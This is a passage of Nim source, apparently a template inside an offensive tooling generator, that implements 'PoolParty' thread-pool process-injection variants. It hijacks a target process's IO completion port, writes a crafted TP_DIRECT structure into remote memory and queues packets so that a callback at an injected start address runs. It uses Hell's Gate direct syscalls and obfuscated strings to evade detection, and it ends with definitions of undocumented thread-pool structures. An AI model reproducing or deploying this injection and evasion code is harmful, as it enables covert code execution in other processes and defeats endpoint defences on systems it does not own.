when defined(verbose):
echo GetLastError()
quit(1)
var pTpWaitWaitPkt: LPVOID = cast[LPVOID](cast[LPVOID](pTpWait + 0x170)#[waitPkt offset]#)
var testHandle: HANDLE
var testHandleAddr: ptr HANDLE = addr testHandle
# copyMem from pTpWaitWaitPkt to testHandleAddr
copyMem(cast[LPVOID](addr testHandle), pTpWaitWaitPkt, 8)
var m_p_hIoCompletion: HANDLE = HijackProcessHandle("IoCompletion", pHandle, IO_COMPLETION_ALL_ACCESS)
if (m_p_hIoCompletion == 0):
when defined(verbose):
echo obf("[-] Failed to hijack the IO completion port of the target process worker factory")
quit(1)
else:
when defined(verbose):
echo obf("[+] Hijacked the IO completion port of the target process worker factory")
when defined(Hellsgate):
if getSyscall(zwAssociateWaitCompletionPacketTable):
syscall = zwAssociateWaitCompletionPacketTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for ZwAssociateWaitCompletionPacket")
var ulongValue: ULONG = 0
var ulongPtr: ULONG_PTR = cast[ULONG_PTR](addr ulongValue)
var booleanValue: BOOLEAN = 0
var booleanPointer: PBOOLEAN = cast[PBOOLEAN](addr booleanValue)
status = ZwAssociateWaitCompletionPacket(cast[HANDLE](testHandle), m_p_hIoCompletion, p_hEvent, pRemoteTpDirect, pRemoteTpWait, 0, ulongPtr, booleanPointer)
if(status != 0):
when defined(verbose):
echo obf("[-] Failed to associate event with the IO completion port of the target process worker factory")
when defined(verbose):
echo toHex(status)
quit(1)
else:
when defined(verbose):
echo obf("[+] Associated event with the IO completion port of the target process worker factory")
success = SetEvent(p_hEvent)
if(success == 0):
when defined(verbose):
echo obf("[-] Failed to set event to queue a packet to the IO completion port of the target process worker factory")
quit(1)
else:
when defined(verbose):
echo obf("[+] Set event to queue a packet to the IO completion port of the target process worker factory")
when defined(variant4):
var m_p_hIoCompletion: HANDLE = HijackProcessHandle("IoCompletion", pHandle, IO_COMPLETION_ALL_ACCESS)
if (m_p_hIoCompletion == 0):
when defined(verbose):
echo obf("[-] Failed to hijack the IO completion port of the target process worker factory")
quit(1)
else:
when defined(verbose):
echo obf("[+] Hijacked the IO completion port of the target process worker factory")
var Direct : TP_DIRECT
# print sizeof TP_DIRECT
Direct.Callback = cast[PTP_WIN32_IO_CALLBACK](startPointer)
#var RemoteDirectAddress: LPVOID
#RemoteDirectAddress = cast[LPVOID](VirtualAllocEx(pHandle, nil, 72#[sizeof(TP_DIRECT)]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
# use NtAllocateVirtualMemory instead
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
var RemoteDirectAddress: LPVOID = nil
var size: SIZE_T = cast[SIZE_T](72)#[sizeof(TP_DIRECT)]#
var status: NTSTATUS = NtAllocateVirtualMemory(pHandle, addr RemoteDirectAddress, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
if(status != 0):
when defined(verbose):
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_DIRECT structure")
quit(1)
else:
when defined(verbose):
echo obf("[+] Allocated memory in the target process for the specially crafted TP_DIRECT structure")
#var bytWritten: SIZE_T = 0
#success = WriteProcessMemory(pHandle, RemoteDirectAddress, addr Direct, 72#[sizeof(TP_DIRECT)]#, addr bytWritten)
#if(success == 0):
# when defined(verbose):
# echo obf("Failed to write the TP_DIRECT structure to the target process")
# quit(1)
# as above with NT functions
var targetAddress: LPVOID = RemoteDirectAddress
var oldProtect: DWORD
var sc_size: SIZE_T = 72#[sizeof(TP_DIRECT)]#
when defined(Hellsgate):
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
var bytesWritten: SIZE_T = 0
status = NtWriteVirtualMemory(
pHandle,
RemoteDirectAddress,
addr Direct,
72#[sizeof(TP_DIRECT)]#,
addr bytesWritten)
when defined(verbose):
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
echo obf(" \\-- bytes written: "), bytesWritten
echo obf("")
when defined(Hellsgate):
if getSyscall(zwSetIoCompletionTable):
syscall = zwSetIoCompletionTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for ZwSetIoCompletion")
var ulongValue: ULONG = 0
var ulongPtr: ULONG_PTR = cast[ULONG_PTR](addr ulongValue)
status = ZwSetIoCompletion(m_p_hIoCompletion, RemoteDirectAddress, nil, 0, ulongPtr)
if(status != 0):
when defined(verbose):
echo obf("[-] Failed to queue a packet to the IO completion port of the target process worker factory")
echo toHex(status)
quit(1)
else:
when defined(verbose):
echo obf("[+] Queued a packet to the IO completion port of the target process worker factory")
"""
let PoolpartyTypeDefs* = """
type PROCESS_HANDLE_TABLE_ENTRY_INFO* = object
HandleValue: HANDLE
HandleCount: ULONG_PTR
PointerCount: ULONG_PTR
GrantedAccess: ACCESS_MASK
ObjectTypeIndex: ULONG
HandleAttributes: ULONG
Reserved: ULONG
type PROCESS_HANDLE_SNAPSHOT_INFORMATION* = object
NumberOfHandles: ULONG_PTR
Reserved: ULONG_PTR
Handles: array[0..0, PROCESS_HANDLE_TABLE_ENTRY_INFO]
type PPROCESS_HANDLE_SNAPSHOT_INFORMATION* = ptr PROCESS_HANDLE_SNAPSHOT_INFORMATION
var ProcessHandleInformation*: PROCESS_INFORMATION_CLASS = 51
type WORKER_FACTORY_BASIC_INFORMATION* = object
Timeout: LARGE_INTEGER
RetryTimeout: LARGE_INTEGER
IdleTimeout: LARGE_INTEGER
Paused: BOOLEAN
TimerSet: BOOLEAN
QueuedToExWorker: BOOLEAN
MayCreate: BOOLEAN
CreateInProgress: BOOLEAN
InsertedIntoQueue: BOOLEAN
Shutdown: BOOLEAN
BindingCount: ULONG
ThreadMinimum: ULONG
ThreadMaximum: ULONG
PendingWorkerCount: ULONG
WaitingWorkerCount: ULONG
TotalWorkerCount: ULONG
ReleaseCount: ULONG
InfiniteWaitGoal: LONGLONG
StartRoutine: PVOID
StartParameter: PVOID
ProcessId: HANDLE
StackReserve: SIZE_T
StackCommit: SIZE_T
LastThreadCreationStatus: NTSTATUS
type PWORKER_FACTORY_BASIC_INFORMATION* = ptr WORKER_FACTORY_BASIC_INFORMATION
type PUBLIC_OBJECT_TYPE_INFORMATION* = object
TypeName: UNICODE_STRING
Reserved: array[22, ULONG]
type PPUBLIC_OBJECT_TYPE_INFORMATION* = ptr PUBLIC_OBJECT_TYPE_INFORMATION
type TP_TASK_CALLBACKS* = object
ExecuteCallback: PVOID
Unposted: PVOID
type PTP_TASK_CALLBACKS* = ptr TP_TASK_CALLBACKS
type TP_TASK* = object
Callbacks: PTP_TASK_CALLBACKS
NumaNode: UINT32
IdealProcessor: UINT8
Padding_242: array[3, char]
ListEntry: LIST_ENTRY
type PTP_TASK* = ptr TP_TASK # PTP_TASK_CALLBACKS
type TPP_REFCOUNT* = object
Refcount: INT32
type PTPP_REFCOUNT* = ptr TPP_REFCOUNT
type TPP_CALLER* = object
ReturnAddress: PVOID
type PTPP_CALLER* = ptr TPP_CALLER
type TPP_PH_LINKS* = object
Siblings: LIST_ENTRY
Children: LIST_ENTRY
Key: INT64
type PTPP_PH_LINKS* = ptr TPP_PH_LINKS
type TPP_PH* = object
Root: PTPP_PH_LINKS
type PTPP_PH* = ptr TPP_PH
type TP_DIRECT* = object
Task: TP_TASK
Lock: UINT64
IoCompletionInformationList: LIST_ENTRY
Callback: PVOID
NumaNode: UINT32
IdealProcessor: UINT8
Padding_242: array[3, char]
type PTP_DIRECT* = ptr TP_DIRECT
type TPP_TIMER_SUBQUEUE* = object
Expiration: INT64
WindowStart: TPP_PH
WindowEnd: TPP_PH
Timer: PVOID
TimerPkt: PVOID
Direct: TP_DIRECT
ExpirationWindow: UINT32
Padding_242: array[1, INT32]
type PTPP_TIMER_SUBQUEUE* = ptr TPP_TIMER_SUBQUEUE
type TPP_TIMER_QUEUE* = object
Lock: RTL_SRWLOCK
AbsoluteQueue: TPP_TIMER_SUBQUEUE
RelativeQueue: TPP_TIMER_SUBQUEUE
AllocatedTimerCount: INT32
Padding_242: array[1, INT32]
type PTPP_TIMER_QUEUE* = ptr TPP_TIMER_QUEUE
type TPP_NUMA_NODE* = object
WorkerCount: INT32
type PTPP_NUMA_NODE* = ptr TPP_NUMA_NODE
type TPP_POOL_QUEUE_STATE* = object
Exchange: INT64
RunningThreadGoal: INT32
PendingReleaseCount: UINT32
QueueLength: UINT32
type PTPP_POOL_QUEUE_STATE* = ptr TPP_POOL_QUEUE_STATE
type TPP_QUEUE* = object
Queue: LIST_ENTRY
Lock: RTL_SRWLOCK
type PTPP_QUEUE* = ptr TPP_QUEUE
type FULL_TP_POOL* = object
Refcount: TPP_REFCOUNT
Padding_239: clong
QueueState: TPP_POOL_QUEUE_STATE
TaskQueue: array[3, PTPP_QUEUE]
NumaNode: PTPP_NUMA_NODE
ProximityInfo: PGROUP_AFFINITY
WorkerFactory: PVOID
CompletionPort: PVOID
Lock: RTL_SRWLOCK
PoolObjectList: LIST_ENTRY
WorkerList: LIST_ENTRY
TimerQueue: TPP_TIMER_QUEUE
ShutdownLock: RTL_SRWLOCK
ShutdownInitiated: UINT8
Released: UINT8
PoolFlags: UINT16
Padding_240: clong
PoolLinks: LIST_ENTRY
AllocCaller: TPP_CALLER
ReleaseCaller: TPP_CALLER
AvailableWorkerCount: INT32
LongRunningWorkerCount: INT32
LastProcCount: UINT32
NodeStatus: INT32
BindingCount: INT32
CallbackChecksDisabled: UINT32
TrimTarget: UINT32
TrimmedThrdCount: UINT32
SelectedCpuSetCount: UINT32
Padding_241: clong
TrimComplete: RTL_CONDITION_VARIABLE
TrimmedWorkerList: LIST_ENTRY
type PFULL_TP_POOL* = ptr FULL_TP_POOL
type TPP_ITE_WAITER* = object
Next: ptr TPP_ITE_WAITER
ThreadId: PVOID
type PTPP_ITE_WAITER* = ptr TPP_ITE_WAITER
type TPP_ITE* = object
First: PTPP_ITE_WAITER
type PTPP_ITE* = ptr TPP_ITE
type TPP_FLAGS_COUNT* = object
Count: UINT64
Flags: UINT64
Data: INT64
type TPP_BARRIER* = object
Ptr: TPP_FLAGS_COUNT
WaitLock: RTL_SRWLOCK
WaitList: TPP_ITE
type
ALPC_WORK_ON_BEHALF_TICKET* = object
ThreadId: UINT32
ThreadCreationTimeLow: UINT32
type
TPP_CLEANUP_GROUP_MEMBER_CALLBACK_PROC* = distinct proc (Member: PTPP_CLEANUP_GROUP_MEMBER)
PTPP_CLEANUP_GROUP_MEMBER_CALLBACK* = ptr TPP_CLEANUP_GROUP_MEMBER_CALLBACK_PROC
TPP_CLEANUP_GROUP_MEMBER_VFUNCS* = object
CallbackEpilog: ptr PTPP_CLEANUP_GROUP_MEMBER_CALLBACK
StopCallbackGeneration: PTPP_CLEANUP_GROUP_MEMBER_CALLBACK
CancelPendingCallbacks: PTPP_CLEANUP_GROUP_MEMBER_CALLBACK
TPP_CLEANUP_GROUP_MEMBER* = object
Refcount: TPP_REFCOUNT
Padding_233: cint
VFuncs: ptr TPP_CLEANUP_GROUP_MEMBER_VFUNCS
CleanupGroup: PTP_CLEANUP_GROUP
CleanupGroupCancelCallback: PVOID
FinalizationCallback: PVOID
CleanupGroupMemberLinks: LIST_ENTRY
CallbackBarrier: TPP_BARRIER
Callback: PVOID
WorkCallback: PVOID
SimpleCallback: PVOID
TimerCallback: PVOID
WaitCallback: PVOID
IoCallback: PVOID
AlpcCallback: PVOID
AlpcCallbackEx: PVOID
JobCallback: PVOID
Context: PVOID
ActivationContext: ptr ACTIVATION_CONTEXT
SubProcessTag: PVOID
ActivityId: GUID
WorkOnBehalfTicket: ALPC_WORK_ON_BEHALF_TICKET
RaceDll: PVOID
Pool: PFULL_TP_POOL
PoolObjectLinks: LIST_ENTRY
Flags: INT32
LongFunction: UINT32
Persistent: UINT32
UnusedPublic: UINT32
Released: UINT32
CleanupGroupReleased: UINT32
InCleanupGroupCleanupList: UINT32
UnusedPrivate: UINT32
Padding_234: cint
AllocCaller: TPP_CALLER
ReleaseCaller: TPP_CALLER
CallbackPriority: TP_CALLBACK_PRIORITY
Padding_242: array[1, INT32]
PTPP_CLEANUP_GROUP_MEMBER* = ptr TPP_CLEANUP_GROUP_MEMBER
#type
# TPP_CLEANUP_GROUP_MEMBER_CALLBACK* = TPP_CLEANUP_GROUP_MEMBER_CALLBACK_PROC
type TPP_WORK_STATE* = object
Exchange: INT32
Insertable: UINT32
PendingCallbackCount: UINT32
type FULL_TP_WORK* = object
CleanupGroupMember: TPP_CLEANUP_GROUP_MEMBER
Task: TP_TASK
WorkState: TPP_WORK_STATE
Padding_242: array[1, INT32]
type PFULL_TP_WORK* = ptr FULL_TP_WORK
const WORKER_FACTORY_RELEASE_WORKER* = 0x0001
const WORKER_FACTORY_WAIT* = 0x0002
const WORKER_FACTORY_SET_INFORMATION* = 0x0004
const WORKER_FACTORY_QUERY_INFORMATION* = 0x0008
const WORKER_FACTORY_READY_WORKER* = 0x0010
const WORKER_FACTORY_SHUTDOWN* = 0x0020
const WORKER_FACTORY_ALL_ACCESS* = STANDARD_RIGHTS_REQUIRED or WORKER_FACTORY_RELEASE_WORKER or WORKER_FACTORY_WAIT or WORKER_FACTORY_SET_INFORMATION or WORKER_FACTORY_QUERY_INFORMATION or WORKER_FACTORY_READY_WORKER or WORKER_FACTORY_SHUTDOWN
type SET_WORKERFACTORYINFOCLASS* = enum
WorkerFactoryTimeout = 0
WorkerFactoryRetryTimeout = 1
WorkerFactoryIdleTimeout = 2
WorkerFactoryBindingCount = 3
WorkerFactoryThreadMinimum = 4
WorkerFactoryThreadMaximum = 5
WorkerFactoryPaused = 6
WorkerFactoryAdjustThreadGoal = 8
WorkerFactoryCallbackType = 9
WorkerFactoryStackInformation = 10
WorkerFactoryThreadBasePriority = 11
WorkerFactoryTimeoutWaiters = 12
WorkerFactoryFlags = 13
WorkerFactoryThreadSoftMaximum = 14
WorkerFactoryMaxInfoClass = 15 # Not implemented
type PSET_WORKERFACTORYINFOCLASS* = ptr SET_WORKERFACTORYINFOCLASS
type QUERY_WORKERFACTORYINFOCLASS* = enum
WorkerFactoryBasicInformation2 = 7
type PQUERY_WORKERFACTORYINFOCLASS* = ptr QUERY_WORKERFACTORYINFOCLASS
proc NtQueryInformationWorkerFactory*(hWorkerFactory: HANDLE, WorkerFactoryInformationClass: QUERY_WORKERFACTORYINFOCLASS, WorkerFactoryInformation: PVOID, WorkerFactoryInformationLength: ULONG, ReturnLength: PULONG): NTSTATUS {.importc: "NtQueryInformationWorkerFactory", dynlib: "ntdll.dll".}
#proc NtSetInformationWorkerFactory*(WorkerFactoryHandle: HANDLE, WorkerFactoryInformationClass: SET_WORKERFACTORYINFOCLASS, WorkerFactoryInformation: PVOID, WorkerFactoryInformationLength: ULONG): NTSTATUS {.importc: "NtSetInformationWorkerFactory", dynlib: "ntdll.dll".}
when defined(variant2):
proc CreateThreadpoolWork*(pWorkCallback: PTP_WORK_CALLBACK, pWorkContext: PVOID, pCallbackEnviron: PTP_CALLBACK_ENVIRON): PFULL_TP_WORK {.importc: "CreateThreadpoolWork", dynlib: "kernel32.dll".}
#when defined(variant3):
# proc ZwAssociateWaitCompletionPacket*(WaitCopmletionPacketHandle: HANDLE, IoCompletionHandle: HANDLE, TargetObjectHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR, AlreadySignaled: PBOOLEAN): NTSTATUS {.importc: "ZwAssociateWaitCompletionPacket", dynlib: "ntdll.dll".}
#when defined(variant4):
# proc ZwSetIoCompletion*(IoCompletionHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR): NTSTATUS {.importc: "ZwSetIoCompletion", dynlib: "ntdll.dll".}
# import wcscmp from MSVCRT
proc wcscmp*(s1: PWSTR, s2: PWSTR): cint {.importc: "wcscmp", dynlib: "msvcrt.dll".}
# import realloc from MSVCRT
proc realloc*(inputPointer: PVOID, size: SIZE_T): PVOID {.importc: "realloc", dynlib: "msvcrt.dll".}
"""